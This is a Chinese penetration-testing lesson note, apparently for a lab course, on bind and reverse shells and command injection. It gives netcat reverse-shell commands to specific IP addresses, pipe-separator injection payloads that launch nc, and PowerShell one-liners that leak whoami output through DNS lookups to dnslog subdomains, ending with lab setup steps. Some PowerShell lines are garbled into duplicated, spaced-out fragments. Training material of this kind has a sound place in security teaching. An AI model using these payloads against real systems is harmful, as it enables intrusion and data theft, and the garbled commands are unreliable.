005-基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载

Untitled

#常规基本渗透命令详解

https://blog.csdn.net/weixin_43303273/article/details/83029138

#实用案例1:文件上传下载-解决无图形化&解决数据传输

命令生成:[https://forum.ywhack.com/bountytips.php?download](https://forum.ywhack.com/bountytips.php?download)

Linux:wget curl python ruby perl java等

Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等

Untitled

Untitled

Untitled

#实用案例2:反弹Shell命令-解决数据回显&解决数据通讯

命令生成:https://forum.ywhack.com/shell.php

Untitled

Untitled

1、正向连接:本地监听等待对方连接

Linux控制Windows

//绑定CMD到本地5566端口

nc -e cmd -lvp 5566

//主动连接目标5566

ncat 47.122.23.131 5566

Untitled

Windows控制Linux

//绑定SH到本地5566端口

ncat -e /bin/sh -lvp 5566

//主动连接目标5566

nc 47.94.236.117 5566

Untitled

2、反向连接:主动给出去,对方监听

Linux交出控制权Windows连接

//绑定SH到目标5566端口

ncat -e /bin/sh 47.122.23.131 5566

ncat -e /bin/sh 192.168.200.130 5566

127.0.0.1 | c:\nc.exe -e cmd 192.168.200.130 8888

//等待5566连接

nc -lvvp 5566

Untitled

Windows交出控制权Linux连接

//绑定CMD到目标5566端口

nc -e cmd 47.94.236.117 5566

//等待5566连接

ncat -lvvp 5566

Untitled

Untitled

#实际案例1:防火墙绕过-正向连接&反向连接&内网服务器

管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)

Windows->| & || &&

Linux->; | || & && (特有`` 和;)是TAB上面的那个键

例子:

ping -c 1 127.0.0.1 ; whoami

ping -c 1 127.0.0.1 | whoami

ping -c 1 127.0.0.1 || whoami

ping -c 1 127.0.0.1 & whoami

ping -c 1 127.0.0.1 && whoami

ping -c 1 127.0.0.1 whoami

1、判断windows

2、windows没有自带的nc

3、想办法上传nc 反弹权限

4、反弹

Untitled

Untitled

Untitled

Untitled

开启入站策略,采用反向连接:让windows主动走出来给出权限

Linux:ncat -lvvp 5566

Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566

开启出站策略,采用正向连接

Linux:ncat -e cmd 47.122.23.131 5566

Windows:127.0.0.1 | nc -e cmd -lvvp 5566

正反向反弹案例-内网服务器

只能内网主动交出数据,反向连接

#实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog

Linux系统自带: 特殊的执行命令符号

输入:ping whoami .8nxvp1.dnslog.cn

可以看到回显:root

Untitled

出站入站都开启策略(数据不回显):OSI网络七层

windows:因为由于cmd不能直接执行命令

注意:命令符号中获得的域名前必须有 . 来连接

127.0.0.1 | powershell x = w h o a m i ; x=whoami; x=whoami;x= x . R e p l a c e ( ′ , ˊ ′ x x x ′ ) ; x.Replace(‘\‘,’xxx’); x.Replace(′,ˊ​′xxx′);y=‘.f4an93.dnslog.cn’; z = z= z=x+$y;ping $z

Untitled

127.0.0.1 | powershell x = w h o a m i ; x=whoami; x=whoami;x= x . R e p l a c e ( ′ , ˊ ′ x x x ′ ) ; x.Replace(‘\‘,’xxx’); x.Replace(′,ˊ​′xxx′);y=‘。b7ykhy.dnslog.cn’; z = z= z=x+$y;ping $z

漏洞有,但是数据不回显:

1、反弹shell

2、带外查询

为什么要这样写

cmd无法执行whoami

用到powershell变量赋值 把whoami执行结果给变量

结果带有“\” 导致ping无法执行

Untitled

powershell

Untitled

$x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

127.0.0.1 | powershell $x=ver;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z

为什么开启防火墙后 whoami数据还是可以带外回显?

ping命令走的ICMP协议,而防火墙禁用端口是控制TCP/UDP协议,也就是控制传输层,

但是ICMP是网络层,是传输层下层,不受防火墙影响。所以可以使用ping命令将数据带出。

https://i-blog.csdnimg.cn/blog_migrate/25657555c0f63931a99266af934f1cdb.png

备注:安装虚拟机Win10

配置pikachu+phpstudy

Untitled

Untitled

Untitled

将名称修改为pikachu

Untitled

输入http://127.0.0.1/pikachu/

Untitled

将密码修改为小皮默认生成的mysql密码root

Untitled

初始化成功

Untitled

Untitled